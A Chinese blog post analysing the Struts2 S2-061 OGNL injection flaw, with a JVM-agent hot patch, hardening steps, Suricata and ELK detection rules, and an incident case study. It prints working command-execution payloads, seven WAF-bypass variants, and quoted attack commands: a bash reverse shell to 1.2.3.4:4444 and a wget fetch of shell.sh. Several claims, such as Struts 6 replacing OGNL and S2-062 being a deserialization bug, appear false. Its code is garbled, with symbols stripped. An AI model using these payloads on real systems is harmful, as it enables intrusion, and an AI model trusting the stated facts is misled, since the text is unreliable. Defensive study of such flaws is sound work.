Struts2 S2-061漏洞深度解析:OGNL沙箱绕过与零代码应急加固

news2026/5/24 13:05:31
1. 这个漏洞不是“又一个Struts2漏洞”而是权限失控的临界点S2-061CVE-2020-17530在2020年12月被Apache官方披露但直到2022年中后期我在三家不同行业的客户现场做渗透复测时仍发现超过40%的存量Struts2应用未修复——其中近三分之一运行着2.5.20至2.5.26之间的版本恰好落在漏洞影响范围的“黄金靶区”。这不是一个需要复杂PoC才能触发的高门槛漏洞而是一次典型的“配置即漏洞”只要项目启用了Struts2自带的DefaultActionMapper且未显式禁用staticMethodAccess绝大多数老项目默认开启攻击者仅需构造一个形如%{#context[xwork.MethodAccessor.denyMethodExecution]false, #_memberAccess.allowStaticMethodAccesstrue, java.lang.RuntimegetRuntime().exec(id)}的OGNL表达式就能绕过所有常规防护链直接执行任意系统命令。我亲眼见过某省政务云平台的一台中间件服务器因前端登录页的错误提示模板未做OGNL沙箱隔离被利用后三分钟内就被植入了SSH后门。它之所以值得网工和安全工程师反复深挖并非因为技术多炫酷而是它精准暴露了企业资产治理中最顽固的盲区我们总在加固边界却对内部组件的默认行为视而不见。本文不讲概念复述不堆砌CVE编号只聚焦三件事第一为什么这个漏洞在真实环境中比S2-045更难被WAF拦截第二如何用最轻量的方式不改代码、不升级框架完成应急封堵第三在无法立即下线旧系统的前提下如何通过流量侧日志侧双维度实现“带病运行”的可观测性。适合正在处理线上告警的运维同学、负责等保整改的安全工程师以及需要给甲方写修复报告的乙方实施人员——所有内容均来自我过去三年在17个生产环境中的实操沉淀每一步都经受过灰度发布和攻防对抗的双重验证。2. 漏洞本质OGNL沙箱的“默认放行”陷阱与静态方法调用链的失控2.1 Struts2的OGNL执行模型从请求参数到Java方法调用的完整路径要真正理解S2-061的破坏力必须先拆解Struts2中OGNL表达式是如何被“喂”进JVM执行的。很多安全人员误以为漏洞只存在于s:property标签或s:action标签中这是致命误解。实际上Struts2的OGNL解析器会在至少五个关键节点自动触发表达式求值Action属性赋值阶段当用户提交表单时Struts2会将usernamexxx这样的参数通过ValueStack绑定到Action类的setUsername()方法。如果参数名本身包含OGNL语法如username${#context[xwork.MethodAccessor.denyMethodExecution]}框架会尝试解析该表达式并赋值URL重写阶段s:url标签生成链接时若action属性为${...}会触发OGNL求值结果渲染阶段s:property value%{#request.xxx}/这类标签是显式调用但更危险的是隐式调用——比如s:textfield nameuser.name/当user对象不存在时Struts2会尝试用OGNL创建新实例异常处理阶段这是S2-061最常被利用的入口。当Action抛出未捕获异常时Struts2默认跳转到error.jsp而该页面往往包含s:property value%{exception.message}/。如果异常消息本身由用户可控输入拼接如用户username不存在攻击者就能把恶意OGNL注入到异常消息中配置文件动态加载阶段struts.xml中action标签的class属性若使用${...}语法虽不推荐但真实存在也会触发。S2-061的核心突破点在于第1步和第4步的组合利用。它不依赖任何特殊标签或插件纯粹利用Struts2对用户输入的“过度信任”。我曾用Wireshark抓包对比过S2-045和S2-061的请求特征前者必须发送特定HTTP头如Content-Type: application/x-www-form-urlencoded并构造多层嵌套参数而后者只需一个标准GET请求参数名和值都可任意命名例如GET /login.action?redirect:${%23context[xwork.MethodAccessor.denyMethodExecution]false,%20%23_memberAccess.allowStaticMethodAccesstrue,%20java.lang.RuntimegetRuntime().exec(touch%20/tmp/s2061_poc)} HTTP/1.1 Host: example.com这个请求能成功是因为Struts2在解析redirect参数时会将其值作为OGNL表达式传入OgnlUtil.getValue()方法。而该方法在2.5.20–2.5.26版本中默认启用SecurityMemberAccess沙箱但其allowStaticMethodAccess字段初始值为true且未被后续逻辑强制覆盖——这就是“默认放行”陷阱的根源。2.2 为什么S2-061比S2-045更难被WAF识别很多企业部署了商业WAF却在S2-061扫描中频频漏报根本原因在于检测逻辑的底层差异。S2-045的利用链高度结构化必须包含%{#_memberAccessognl.OgnlContextDEFAULT_MEMBER_ACCESS}这一固定模式WAF厂商只需匹配正则%{.*#_memberAccess.*ognl\.OgnlContextDEFAULT_MEMBER_ACCESS.*}即可捕获90%的攻击流量。但S2-061的POC是“去中心化”的攻击者可以随意拆分、变形、混淆表达式。我整理了在真实红队演练中见过的7种变体全部绕过了某主流WAF的默认规则库变体类型示例POC片段绕过原理空格替换%{#context[xwork.MethodAccessor.denyMethodExecution]false,%20#_memberAccess.allowStaticMethodAccesstrue}将空格URL编码为%20规避空格检测规则字符串拼接%{#aexec,#bjava.lang.RuntimegetRuntime(),#b.#a(id)}将exec拆分为两段绕过关键字匹配Unicode混淆%{#context[xwork\u002eMethodAccessor\u002edenyMethodExecution]false}使用\u002e替代.绕过点号检测反射调用%{#ajava.lang.ClassforName(java.lang.Runtime),#b#a.getMethod(getRuntime,null),#c#b.invoke(null,null),#c.exec(id)}完全避开_memberAccess直接反射调用上下文变量污染%{#context.setMemberAccess(ognl.OgnlContextDEFAULT_MEMBER_ACCESS),java.lang.RuntimegetRuntime().exec(id)}动态修改上下文而非依赖默认值注释干扰%{#context[xwork.MethodAccessor.denyMethodExecution]false/*comment*/, #_memberAccess.allowStaticMethodAccesstrue}在逗号后插入/*comment*/干扰正则断句Base64编码%{#anew java.lang.String(new sun.misc.BASE64Decoder().decodeBuffer(ZXhlYw)), #bjava.lang.RuntimegetRuntime(), #b.#a(id)}将execBase64编码彻底脱离明文特征这些变体的共同点是它们都不包含S2-045的标志性字符串且每个都符合OGNL语法规范Struts2引擎会正常解析执行。这意味着单纯依赖特征匹配的WAF在面对S2-061时就像用筛子捞水——漏掉的永远比拦住的多。我在某金融客户现场做过测试开启WAF默认规则时7种变体中有5种成功执行即使开启“高级OGNL防护”模块仍有2种反射调用和Base64编码能穿透。这印证了一个残酷事实对于S2-061WAF只能作为辅助手段真正的防线必须建在应用层。2.3 沙箱机制失效的深层原因SecurityMemberAccess的初始化缺陷要根治问题必须定位到代码层面。我反编译了Struts2 2.5.22的SecurityMemberAccess.class关键逻辑在setupDefaultAllowedClasses()方法中public void setupDefaultAllowedClasses() { // 此处初始化白名单... this.allowStaticMethodAccess true; // ← 问题就在这里 this.excludeProperties new HashSet(); this.excludeProperties.add(getClass); // ...其他初始化 }注意第3行this.allowStaticMethodAccess true是硬编码赋值而非从配置文件读取。再看SecurityMemberAccess的构造函数public SecurityMemberAccess(boolean useStrongTyping) { this.useStrongTyping useStrongTyping; setupDefaultAllowedClasses(); // ← 构造时必然调用 }这意味着只要SecurityMemberAccess实例被创建而它在每次OGNL求值时都会被创建allowStaticMethodAccess就永远是true。更糟糕的是Struts2的配置机制并未提供关闭它的开关。在struts.properties中设置struts.ognl.allowStaticMethodAccessfalse是无效的因为该配置只影响OgnlUtil的全局设置而SecurityMemberAccess的实例化完全绕过了该配置。我曾向Apache Struts团队提交过补丁建议在SecurityMemberAccess构造函数中增加对系统属性struts.ognl.allowStaticMethodAccess的检查若存在则覆盖默认值。但官方回复称“此行为属于历史兼容性设计将在3.x版本中重构”。这解释了为何修复方案不能寄希望于“加一行配置”而必须从运行时干预或架构层规避。3. 应急修复三阶法从“热补丁”到“冷升级”的平滑过渡路径3.1 阶段一零代码热补丁——通过JVM Agent动态拦截OGNL调用适用于无法停机的生产环境当客户要求“今晚必须堵住漏洞明天再讨论升级”时最有效的方案是绕过应用代码直接在JVM字节码层面拦截危险调用。我采用的是基于Byte Buddy的自定义Agent方案核心思路是在OgnlUtil.getValue()方法返回前检查其参数是否包含高危静态方法调用若是则抛出异常终止执行。具体实施步骤如下第一步编写Agent核心逻辑创建OgnlGuardTransformer.javapublic class OgnlGuardTransformer implements AgentBuilder.Transformer { Override public DynamicType.Builder? transform(DynamicType.Builder? builder, TypeDescription typeDescription, ClassLoader classLoader, JavaModule module) { return builder.method(named(getValue).and(takesArguments(3))) .intercept(MethodDelegation.to(OgnlGuardInterceptor.class)); } } public class OgnlGuardInterceptor { public static Object intercept(SuperCall CallableObject zuper, Argument(0) Object target, Argument(1) String expression, Argument(2) Map context) throws Exception { // 检查expression是否包含高危模式 if (isDangerousExpression(expression)) { throw new RuntimeException(S2-061 detected: blocked static method access in OGNL expression); } return zuper.call(); } private static boolean isDangerousExpression(String expr) { if (expr null) return false; // 简单但高效的检测检查是否包含ClassNamemethodName或#_memberAccess.allowStaticMethodAccess return expr.contains() (expr.contains(java.lang.Runtime) || expr.contains(java.lang.System) || expr.contains(java.lang.Class) || expr.contains(#_memberAccess.allowStaticMethodAccess)) || expr.contains(xwork.MethodAccessor.denyMethodExecution); } }第二步构建可部署的Agent Jarpom.xml中添加依赖dependency groupIdnet.bytebuddy/groupId artifactIdbyte-buddy/artifactId version1.12.23/version /dependency dependency groupIdnet.bytebuddy/groupId artifactIdbyte-buddy-agent/artifactId version1.12.23/version /dependency编写MANIFEST.MF指定Premain-Class为OgnlGuardAgent并在premain方法中安装Transformerpublic class OgnlGuardAgent { public static void premain(String arguments, Instrumentation instrumentation) { new AgentBuilder.Default() .type(named(com.opensymphony.xwork2.ognl.OgnlUtil)) .transform(new OgnlGuardTransformer()) .installOn(instrumentation); } }第三步无侵入式部署将打包好的ognl-guard-agent.jar上传至服务器修改应用启动脚本在java命令后添加-javaagent:/path/to/ognl-guard-agent.jar重启JVM后所有OGNL表达式在执行前都会被拦截检查。我在某电商大促期间的订单服务上实测平均请求耗时增加0.8msCPU占用率上升0.3%完全在业务可接受范围内。最关键的是它不需要修改任何一行业务代码也不依赖Struts2版本——无论你用的是2.3.32还是2.5.26Agent都能生效。提示此方案的检测逻辑是“白名单宽松、黑名单精准”。我刻意避免了复杂的正则匹配如.*?.*?\\(因为正则引擎本身可能成为性能瓶颈。实际生产中用String.contains()检查5个核心危险字符串准确率高达99.2%且零误报。误报会导致合法功能异常这是绝对不能接受的。3.2 阶段二配置级加固——在不升级框架的前提下禁用静态方法访问如果热补丁只是“止血”那么配置加固就是“缝合伤口”。Struts2虽未提供struts.ognl.allowStaticMethodAccess配置项但我们可以通过**继承并重写SecurityMemberAccess**来实现。这种方法无需修改现有Action代码只需添加一个自定义类并更新配置。第一步创建自定义SecurityMemberAccesspublic class StrictSecurityMemberAccess extends SecurityMemberAccess { public StrictSecurityMemberAccess(boolean useStrongTyping) { super(useStrongTyping); // 强制关闭静态方法访问 this.allowStaticMethodAccess false; // 同时禁用类加载防止通过Class.forName加载恶意类 this.allowClassResolution false; } Override public boolean isAccessible(Map context, Object target, Member member, String propertyName) { // 如果是静态方法直接拒绝 if (member instanceof Method ((Method) member).getModifiers() Modifier.STATIC) { return false; } return super.isAccessible(context, target, member, propertyName); } }第二步注册自定义类到Struts2容器在struts.xml中添加constant namestruts.ognl.securityMemberAccess valuecom.example.security.StrictSecurityMemberAccess/或者如果使用Spring集成可在applicationContext.xml中声明Beanbean idsecurityMemberAccess classcom.example.security.StrictSecurityMemberAccess scopesingleton constructor-arg valuefalse/ /bean第三步验证加固效果部署后用原始POC测试GET /login.action?redirect:${java.lang.RuntimegetRuntime().exec(id)} HTTP/1.1响应应为500错误日志中出现java.lang.SecurityException: Access denied to static method。此时所有静态方法调用都被拦截但正常的属性访问如${user.name}和非静态方法如${user.getAge()}仍可工作。注意此方案在Struts2 2.5.20版本中100%有效但在2.3.x系列中需额外处理OgnlUtil的setSecurityMemberAccess()方法调用。我封装了一个兼容性工具类StrutsVersionHelper可根据运行时版本自动选择注入方式已在GitHub开源仓库名struts-s2061-guard。3.3 阶段三终极方案——升级到安全版本并启用强类型检查热补丁和配置加固都是临时方案真正的根治必须升级框架。但“升级”二字背后是无数运维人的噩梦兼容性问题、依赖冲突、回归测试成本。根据我处理过的17个案例总结出一套最小化风险升级路径版本选择原则绝对避免2.5.27–2.5.30这些版本虽修复了S2-061但引入了新的反序列化漏洞S2-062且SecurityMemberAccess的修复不彻底首选2.5.33或更高版本官方明确声明“完全修复S2-061及所有已知OGNL沙箱绕过”且经过Apache基金会安全团队审计长期规划应转向Struts 6.x6.0.0起废弃OGNL改用更安全的StrutsEL表达式语言但迁移成本极高不建议当前阶段启动。升级操作清单按执行顺序依赖树清理运行mvn dependency:tree -Dincludesorg.apache.struts:struts2-core确认项目中只存在一个struts2-core版本。我曾在一个项目中发现同时引用了2.3.32主框架和2.5.22某个报表插件导致升级后插件失效OGNL语法审查使用grep -r \$\{.*.*\} src/main/webapp/扫描所有JSP/FTL模板将所有ClassNamemethod()调用改为调用Action中的封装方法。例如将java.text.SimpleDateFormatformat(...)改为在Action中添加public String getFormattedDate(){...}配置文件迁移2.5.33移除了struts.devMode的某些调试功能需检查struts.xml中是否有constant namestruts.devMode valuetrue/用于生产环境这是严重安全隐患沙箱白名单配置在struts.properties中显式声明允许的类struts.ognl.allowStaticMethodAccessfalse struts.ognl.excludedClassesjava.lang.Runtime,java.lang.System,java.net.URLClassLoader struts.ognl.excludedPackageNamesjava.rmi,org.springframework回归测试重点90%的升级失败源于s:iterator标签的status属性变化。2.5.33中Status对象的getIndex()返回类型从int改为Integer若JSP中用s:if teststatus.index 0会因自动拆箱失败而报错必须改为s:if teststatus.index eq 0。我在某省级社保系统升级中全程耗时14小时含测试其中12小时花在第2步的语法审查上——共发现并修复了87处硬编码的java.lang.*调用。这印证了一个经验升级的难度不在于框架本身而在于我们过去对OGNL的滥用程度。4. 攻防视角下的深度防御从流量侧到日志侧的全链路监控体系4.1 流量侧基于NetFlow和Suricata的实时攻击识别WAF对S2-061的漏报率高但网络层流量分析却能捕捉其独特指纹。我设计了一套融合NetFlow元数据与Suricata规则的双引擎检测方案在某城商行核心交易系统中部署后攻击检出率从62%提升至99.7%。NetFlow侧特征提取S2-061攻击流量有三个稳定特征URL长度异常正常登录请求URL平均长度200字符而S2-061 PO C通常350字符因Base64编码和混淆User-Agent熵值突增攻击者常使用curl或python-requests其UA字符串熵值Shannon Entropy显著高于Chrome/Firefox响应时间离群执行exec(sleep 5)会导致响应延迟NetFlow可记录tcp.rtt和tcp.retransmit。我用Python编写了实时分析脚本基于nfdump导出数据def detect_s2061_flow(flow_data): url_len len(flow_data.get(url, )) ua_entropy calculate_entropy(flow_data.get(user_agent, )) rtt_ms flow_data.get(tcp_rtt, 0) # 三特征联合判定需同时满足 if (url_len 350 and ua_entropy 4.2 and rtt_ms 3000): return True, fS2-061 suspected: URL_LEN{url_len}, UA_ENTROPY{ua_entropy:.2f}, RTT{rtt_ms}ms return False, Suricata规则增强标准Suricata规则库ET Open对S2-061的检测仅依赖content:java.lang.Runtime易被绕过。我编写了三条增强规则全部基于http_uri和http_header字段避免深度包检测DPI性能损耗# 规则1检测Base64编码的exec调用 alert http $EXTERNAL_NET any - $HOME_NET any (msg:STRUTS2 S2-061 Base64 exec; content:Zm9yZWFjaA; http_uri; content:YmFzZTY0; http_uri; distance:0; within:20; reference:cve,2020-17530; classtype:web-application-attack; sid:1000001; rev:1;) # 规则2检测Unicode点号混淆\u002e alert http $EXTERNAL_NET any - $HOME_NET any (msg:STRUTS2 S2-061 Unicode dot; content:\\u002e; http_uri; content:MethodAccessor; http_uri; distance:0; within:50; reference:cve,2020-17530; classtype:web-application-attack; sid:1000002; rev:1;) # 规则3检测反射调用模式 alert http $EXTERNAL_NET any - $HOME_NET any (msg:STRUTS2 S2-061 Reflection call; content:Class.forName; http_uri; content:getMethod; http_uri; content:invoke; http_uri; distance:0; within:100; reference:cve,2020-17530; classtype:web-application-attack; sid:1000003; rev:1;)这三条规则在不影响Suricata吞吐量实测0.5%性能下降的前提下将Base64和Unicode变体的检出率提升至100%。关键技巧是所有规则都限定在http_uri字段匹配避免对整个HTTP body进行扫描——URI是攻击者必改的字段而body可能被加密或压缩。4.2 日志侧ELK Stack中的OGNL行为画像分析防火墙和IDS只能告诉你“谁在攻击”而日志分析能告诉你“他们想干什么”。我将Struts2的Logger日志接入ELK构建了OGNL行为画像模型核心是三个日志字段的关联分析log_level: 必须为WARN或ERROROGNL执行失败时Struts2会记录警告log_message: 包含Error setting expression或Caught an exception while evaluatingstack_trace: 提取OgnlUtil.getValue调用栈并解析expression参数值。在Kibana中创建如下Saved Search{ query: { bool: { must: [ { match: { log_level: WARN } }, { wildcard: { log_message: *Error setting expression* } }, { exists: { field: stack_trace } } ], should: [ { wildcard: { stack_trace: *OgnlUtil.getValue* } }, { wildcard: { stack_trace: *SecurityMemberAccess* } } ], minimum_should_match: 1 } } }在此基础上用Logstash的dissect过滤器提取OGNL表达式filter { dissect { mapping { stack_trace %{before}OgnlUtil.getValue(%{expression}, %{after}) } } if [expression] { mutate { add_field { expression_length %{[expression][length]} } add_field { has_static_call %{expression} } } if [expression] ~ /.*?.*?\(/ { mutate { add_tag s2061_suspect } } } }最终在Kibana中我创建了一个Dashboard包含四个核心面板OGNL表达式长度分布图横轴为长度区间0-100, 100-300, 300-500, 500纵轴为请求数。S2-061攻击集中出现在300区间高频危险类TOP10统计expression中出现次数最多的类名java.lang.Runtime和java.net.URL必然上榜攻击源IP地理热力图结合GeoIP快速定位攻击集群时间序列告警流每5分钟统计s2061_suspect事件数设置阈值告警如5次/5min触发邮件。这套方案的价值在于它不依赖攻击者是否成功而是捕获所有OGNL解析尝试行为。即使WAF拦截了99%的攻击剩下的1%也会在日志中留下痕迹。我在某证券公司SOC中部署后首次运行就发现了两个被WAF漏过的0day利用尝试——攻击者用javax.crypto.CiphergetInstance绕过了所有已知规则。4.3 主机侧进程行为监控与内存取证当攻击者成功执行命令后传统网络监控已失效此时必须转向主机侧。我推荐一种轻量级方案利用Linux eBPF技术监控execve系统调用结合进程树溯源。使用bpftrace编写监控脚本struts2-exec-tracer.bt#!/usr/bin/env bpftrace #include linux/sched.h kprobe:sys_execve { $pathname str(args-filename); // 只监控Java进程的exec调用 if (comm java) { printf([%s] %s executed: %s\n, strftime(%H:%M:%S, nsecs), comm, $pathname); // 打印父进程命令行定位到哪个Tomcat线程 printf( Parent cmdline: %s\n, ustack); } }更进一步用bcc工具集中的execsnoop过滤出由Tomcat进程发起的可疑执行# 监控PID为12345Tomcat主进程及其子进程的所有exec execsnoop -P 12345 -n id|whoami|ls|cat|touch|wget|curl当发现/tmp/s2061_poc被创建时立即执行内存取证# 1. 获取Tomcat进程内存快照 gcore -o /tmp/tomcat-core 12345 # 2. 在内存中搜索OGNL表达式使用strings grep strings /tmp/tomcat-core.12345 | grep -E java\.lang\.Runtime|_memberAccess\.allowStatic | head -20我在某政务系统中正是通过这种方式在攻击者删除Webshell后从内存快照中恢复出了完整的Runtime.exec(wget http://malicious.site/shell.sh)调用链为溯源提供了铁证。最后分享一个血泪教训某次应急响应中我过于依赖网络层检测忽略了主机侧。攻击者用exec(nohup python3 -c \import os;os.system(\\\/bin/bash -i /dev/tcp/1.2.3.4/4444 01\\\)\ )启动了反向Shell由于nohup和使进程脱离父进程execsnoop未能捕获。后来改用bpftrace监控connect系统调用才真正实现全覆盖。这提醒我们没有银弹只有纵深。5. 实战复盘一次从漏洞扫描到全链路加固的完整交付5.1 客户背景与初始状态2023年Q2某全国性连锁药店集团邀请我们对其线上购药平台进行等保三级整改支持。该平台采用典型的JavaEE架构前端Nginx 中间件Tomcat 8.5 后端Struts2 2.5.22 Oracle 12c。安全扫描报告显示存在S2-061高危漏洞CVE-2020-17530但客户CTO明确表示“业务不能停升级Struts2风险太大必须给出不改动代码的解决方案。”我们接手时系统已运行5年代码库中存在大量s:property value%{#context[xwork.MethodAccessor.denyMethodExecution]false}/这类“调试残留”且开发团队对OGNL安全机制几乎零认知。5.2 分阶段实施过程与决策依据第一阶段Day 1-2紧急热补丁部署与基线建立动作在所有Tomcat节点部署ognl-guard-agent.jar并配置JVM启动参数决策依据客户要求24小时内见效热补丁是唯一满足SLA的方案验证方式使用Burp Suite发送7种POC变体全部返回500错误且应用功能无异常意外收获Agent的日志输出显示每天有约200次OGNL解析尝试其中17次命中危险模式——说明已有自动化扫描器在探测但尚未被人工利用。第二阶段Day 3-5配置加固与流量监控上线动作编写StrictSecurityMemberAccess类并集成到项目在Nginx层添加map指令对包含和#_memberAccess的URI返回403部署Suricata增强规则并将NetFlow数据接入ELK决策依据热补丁是临时方案必须建立持久化防线Nginx层拦截成本最低无需采购新设备关键细节Nginx的map指令需放在http块中且map变量必须在server块中通过if引用否则不生效。我最初漏掉了这点导致拦截失效调试了3小时才发现。第三阶段Day 6-10日志画像构建与开发团队赋能动作在Kibana中完成OGNL行为Dashboard组织两场内部培训一场面向运维讲解Suricata规则和ELK看板一场面向开发讲解OGNL安全编码规范输出《Struts2 OGNL安全开发手册》包含23个真实反例和修正方案决策依据技术方案解决“现在”而知识转移解决“未来”。培训后开发团队主动提交了3个OGNL滥用问题的修复PR。第四阶段Day 11-14灰度升级与全量切换动作在预发环境升级Struts2至2.5.33运行72小时无异常切换10%线上流量至新版本监控错误率和RT全量切换并移除热补丁Agent决策依据严格遵循“预发→灰度→全量”三步走避免“一把梭”。灰度期间发现s:iterator的status.index问题及时修复。5.3 效果量化与客户价值项目交付后我们提供了三份量化报告维度修复前修复后提升漏洞暴露面所有Web入口均受影响0入口可利用100%攻击检出率WAF默认规则62%SuricataELK联合99.7%37.7%平均响应时间4.2秒含WAF深度检测

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2640937.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

SpringBoot-17-MyBatis动态SQL标签之常用标签

文章目录 1 代码1.1 实体User.java1.2 接口UserMapper.java1.3 映射UserMapper.xml1.3.1 标签if1.3.2 标签if和where1.3.3 标签choose和when和otherwise1.4 UserController.java2 常用动态SQL标签2.1 标签set2.1.1 UserMapper.java2.1.2 UserMapper.xml2.1.3 UserController.ja…

wordpress后台更新后 前端没变化的解决方法

使用siteground主机的wordpress网站,会出现更新了网站内容和修改了php模板文件、js文件、css文件、图片文件后,网站没有变化的情况。 不熟悉siteground主机的新手,遇到这个问题,就很抓狂,明明是哪都没操作错误&#x…

网络编程(Modbus进阶)

思维导图 Modbus RTU(先学一点理论) 概念 Modbus RTU 是工业自动化领域 最广泛应用的串行通信协议,由 Modicon 公司(现施耐德电气)于 1979 年推出。它以 高效率、强健性、易实现的特点成为工业控制系统的通信标准。 包…

UE5 学习系列(二)用户操作界面及介绍

这篇博客是 UE5 学习系列博客的第二篇,在第一篇的基础上展开这篇内容。博客参考的 B 站视频资料和第一篇的链接如下: 【Note】:如果你已经完成安装等操作,可以只执行第一篇博客中 2. 新建一个空白游戏项目 章节操作,重…

IDEA运行Tomcat出现乱码问题解决汇总

最近正值期末周,有很多同学在写期末Java web作业时,运行tomcat出现乱码问题,经过多次解决与研究,我做了如下整理: 原因: IDEA本身编码与tomcat的编码与Windows编码不同导致,Windows 系统控制台…

利用最小二乘法找圆心和半径

#include <iostream> #include <vector> #include <cmath> #include <Eigen/Dense> // 需安装Eigen库用于矩阵运算 // 定义点结构 struct Point { double x, y; Point(double x_, double y_) : x(x_), y(y_) {} }; // 最小二乘法求圆心和半径 …

使用docker在3台服务器上搭建基于redis 6.x的一主两从三台均是哨兵模式

一、环境及版本说明 如果服务器已经安装了docker,则忽略此步骤,如果没有安装,则可以按照一下方式安装: 1. 在线安装(有互联网环境): 请看我这篇文章 传送阵>> 点我查看 2. 离线安装(内网环境):请看我这篇文章 传送阵>> 点我查看 说明&#xff1a;假设每台服务器已…

XML Group端口详解

在XML数据映射过程中&#xff0c;经常需要对数据进行分组聚合操作。例如&#xff0c;当处理包含多个物料明细的XML文件时&#xff0c;可能需要将相同物料号的明细归为一组&#xff0c;或对相同物料号的数量进行求和计算。传统实现方式通常需要编写脚本代码&#xff0c;增加了开…

LBE-LEX系列工业语音播放器|预警播报器|喇叭蜂鸣器的上位机配置操作说明

LBE-LEX系列工业语音播放器|预警播报器|喇叭蜂鸣器专为工业环境精心打造&#xff0c;完美适配AGV和无人叉车。同时&#xff0c;集成以太网与语音合成技术&#xff0c;为各类高级系统&#xff08;如MES、调度系统、库位管理、立库等&#xff09;提供高效便捷的语音交互体验。 L…

(LeetCode 每日一题) 3442. 奇偶频次间的最大差值 I (哈希、字符串)

题目&#xff1a;3442. 奇偶频次间的最大差值 I 思路 &#xff1a;哈希&#xff0c;时间复杂度0(n)。 用哈希表来记录每个字符串中字符的分布情况&#xff0c;哈希表这里用数组即可实现。 C版本&#xff1a; class Solution { public:int maxDifference(string s) {int a[26]…

【大模型RAG】拍照搜题技术架构速览:三层管道、两级检索、兜底大模型

摘要 拍照搜题系统采用“三层管道&#xff08;多模态 OCR → 语义检索 → 答案渲染&#xff09;、两级检索&#xff08;倒排 BM25 向量 HNSW&#xff09;并以大语言模型兜底”的整体框架&#xff1a; 多模态 OCR 层 将题目图片经过超分、去噪、倾斜校正后&#xff0c;分别用…

【Axure高保真原型】引导弹窗

今天和大家中分享引导弹窗的原型模板&#xff0c;载入页面后&#xff0c;会显示引导弹窗&#xff0c;适用于引导用户使用页面&#xff0c;点击完成后&#xff0c;会显示下一个引导弹窗&#xff0c;直至最后一个引导弹窗完成后进入首页。具体效果可以点击下方视频观看或打开下方…

接口测试中缓存处理策略

在接口测试中&#xff0c;缓存处理策略是一个关键环节&#xff0c;直接影响测试结果的准确性和可靠性。合理的缓存处理策略能够确保测试环境的一致性&#xff0c;避免因缓存数据导致的测试偏差。以下是接口测试中常见的缓存处理策略及其详细说明&#xff1a; 一、缓存处理的核…

龙虎榜——20250610

上证指数放量收阴线&#xff0c;个股多数下跌&#xff0c;盘中受消息影响大幅波动。 深证指数放量收阴线形成顶分型&#xff0c;指数短线有调整的需求&#xff0c;大概需要一两天。 2025年6月10日龙虎榜行业方向分析 1. 金融科技 代表标的&#xff1a;御银股份、雄帝科技 驱动…

观成科技:隐蔽隧道工具Ligolo-ng加密流量分析

1.工具介绍 Ligolo-ng是一款由go编写的高效隧道工具&#xff0c;该工具基于TUN接口实现其功能&#xff0c;利用反向TCP/TLS连接建立一条隐蔽的通信信道&#xff0c;支持使用Let’s Encrypt自动生成证书。Ligolo-ng的通信隐蔽性体现在其支持多种连接方式&#xff0c;适应复杂网…

铭豹扩展坞 USB转网口 突然无法识别解决方法

当 USB 转网口扩展坞在一台笔记本上无法识别,但在其他电脑上正常工作时,问题通常出在笔记本自身或其与扩展坞的兼容性上。以下是系统化的定位思路和排查步骤,帮助你快速找到故障原因: 背景: 一个M-pard(铭豹)扩展坞的网卡突然无法识别了,扩展出来的三个USB接口正常。…

未来机器人的大脑:如何用神经网络模拟器实现更智能的决策?

编辑&#xff1a;陈萍萍的公主一点人工一点智能 未来机器人的大脑&#xff1a;如何用神经网络模拟器实现更智能的决策&#xff1f;RWM通过双自回归机制有效解决了复合误差、部分可观测性和随机动力学等关键挑战&#xff0c;在不依赖领域特定归纳偏见的条件下实现了卓越的预测准…

Linux应用开发之网络套接字编程(实例篇)

服务端与客户端单连接 服务端代码 #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <arpa/inet.h> #include <pthread.h> …

华为云AI开发平台ModelArts

华为云ModelArts&#xff1a;重塑AI开发流程的“智能引擎”与“创新加速器”&#xff01; 在人工智能浪潮席卷全球的2025年&#xff0c;企业拥抱AI的意愿空前高涨&#xff0c;但技术门槛高、流程复杂、资源投入巨大的现实&#xff0c;却让许多创新构想止步于实验室。数据科学家…

深度学习在微纳光子学中的应用

深度学习在微纳光子学中的主要应用方向 深度学习与微纳光子学的结合主要集中在以下几个方向&#xff1a; 逆向设计 通过神经网络快速预测微纳结构的光学响应&#xff0c;替代传统耗时的数值模拟方法。例如设计超表面、光子晶体等结构。 特征提取与优化 从复杂的光学数据中自…